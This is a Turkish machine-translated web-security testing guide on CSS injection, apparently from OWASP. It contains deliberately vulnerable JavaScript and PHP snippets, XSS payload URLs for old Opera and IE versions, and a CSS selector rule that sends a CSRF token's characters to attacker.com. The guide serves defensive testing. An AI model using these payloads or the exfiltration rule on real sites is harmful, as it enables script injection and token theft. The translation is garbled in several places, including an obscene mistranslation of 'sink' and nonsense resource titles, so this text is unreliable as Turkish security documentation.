Testing for CSS Injection (CSS Enjeksiyonu Testi)

Summary (Özet)

Bir CSS Enjeksiyonu güvenlik açığı, bir kurbanın tarayıcısında yapılan güvenilir bir web sitesi bağlamında keyfi CSS kodunu enjekte etme yeteneğini içerir. Bu tür bir güvenlik açığının etkisi, sağlanan CSS yüküne göre değişir. Çapraz site komut dosyasına veya veri sızıntısına yol açabilir.

Bu güvenlik açığı, uygulama kullanıcı tarafından sağlanan CSS'nin uygulamanın meşru stil sayfalarına müdahale etmesine izin verdiğinde ortaya çıkar. CSS bağlamında kod enjekte etmek, bir saldırgana belirli koşullarda JavaScript yürütme veya HTTP isteklerini oluşturabilen CSS
seçicileri ve işlevlerini kullanarak hassas değerleri çıkarma yeteneği sağlayabilir. Genel olarak, kullanıcıların özel CSS dosyaları sağlayarak sayfaları özelleştirme yeteneğine izin vermek önemli bir risktir.

Aşağıdaki JavaScript kodu, saldırganın kontrol edebildiği olası bir savunmasız komut dosyasını gösterir. `location.hash` (kaynak) ulaşan `cssText` fonksiyon (sikiş). Bu özel durum, eski tarayıcı sürümlerinde DOM tabanlı XSS'ye yol açabilir; Daha fazla bilgi için DOM tabanlı XSS Önleme Hile Sayfasına bakın.

```
<a id="a1">Click me</a>
<script>
   if (location.hash.slice(1)) {
   document.getElementById("a1").style.cssText = "color: " + location.has
   h.slice(1);
   }
</script>
```

Saldırgan, aşağıdaki URL'leri ziyaret etmelerini isteyerek kurbanı hedef alabilir:

- `www.victim.com/#red;-o-link:'<javascript:alert(1)>';-o-link-source:current;` (Opera [8,12])

- `www.victim.com/#red;-:expression(alert(URL=1));` (IE 7/8)

Aynı güvenlik açığı, örneğin aşağıdaki PHP kodunda yansıyan XSS durumunda görünebilir:

```
<style>
p {
   color: <?php echo $_GET['color']; ?>;
   text-align: center;
}
</style>
```

Daha fazla saldırı senaryosu, saf CSS kurallarının benimsenmesi yoluyla veri çıkarma yeteneğini içerir. Bu tür saldırılar CSS seçicileri aracılığıyla gerçekleştirilebilir ve örneğin CSRF tokenlerinin
silinmesine yol açar.

İşte bir girişle bir girdi seçmeye çalışan bir kod örneği `name` Eşleştirme `csrf_token` ve bir `value` Bir ile başlamak `a` . . Nitifin belirlenmesi için kaba kuvvet saldırısı kullanarak `value` , seçilen giriş elemanına bir arka plan görüntüsü ayarlamaya çalışmak gibi, saldırganın alanına değeri gönderen bir saldırı gerçekleştirmek mümkündür.

```
<style>
input[name=csrf_token][value=^a] {
   background-image: url(http://attacker.com/log?a);
}
</style>
```

CSS gibi talep edilen içeriği kullanan diğer saldırılar, Mario Heiderich'in YouTube'daki "Burununuz Var" adlı konuşmasında vurgulanmaktadır.

Test Objectives (Test Hedefleri)

- CSS enjeksiyon noktalarını belirleyin.
- Enjeksiyonun etkisini değerlendirin.

How To Test (Nasıl Test Edilir)

Bir kullanıcının CSS içeriğine bilgi enjekte etmesine izin verilip verilmediğini belirlemek için kod analiz edilmelidir. Özellikle, web sitesinin girişler temelinde CSS kurallarını iade etme şekli
denetlenmelidir.

Aşağıdakiler temel bir örnektir:

```
<a id="a1">Click me</a>
<b>Hi</b>
<script>
   $("a").click(function(){
      $("b").attr("style","color: " + location.hash.slice(1));
   });
</script>
```

Yukarıdaki kod bir kaynak içerir `location.hash` saldırgan tarafından kontrol edilir, bu doğrudan enjekte edilebilir `style` Bir HTML öğesinin özelliği. Yukarıda belirtildiği gibi, bu, kullanımdaki
tarayıcıya ve tedarik edilen yüke bağlı olarak farklı sonuçlara yol açabilir.

Aşağıdaki sayfalar CSS enjeksiyon zafiyet açıklarını örnek olarak sunar:

- CSS ve HTML5 üzerinden şifre “kraker”
- CSS özellik okuma
- JavaScript tabanlı saldırılar kullanarak `CSSStyleDeclaration` Kaçınmamış giriş ile

CSS enjeksiyonunu önleme konusunda daha fazla OWASP kaynağı için, Güvenceli Kadanlama Stil Levhaları Hile Sayfasına bakın.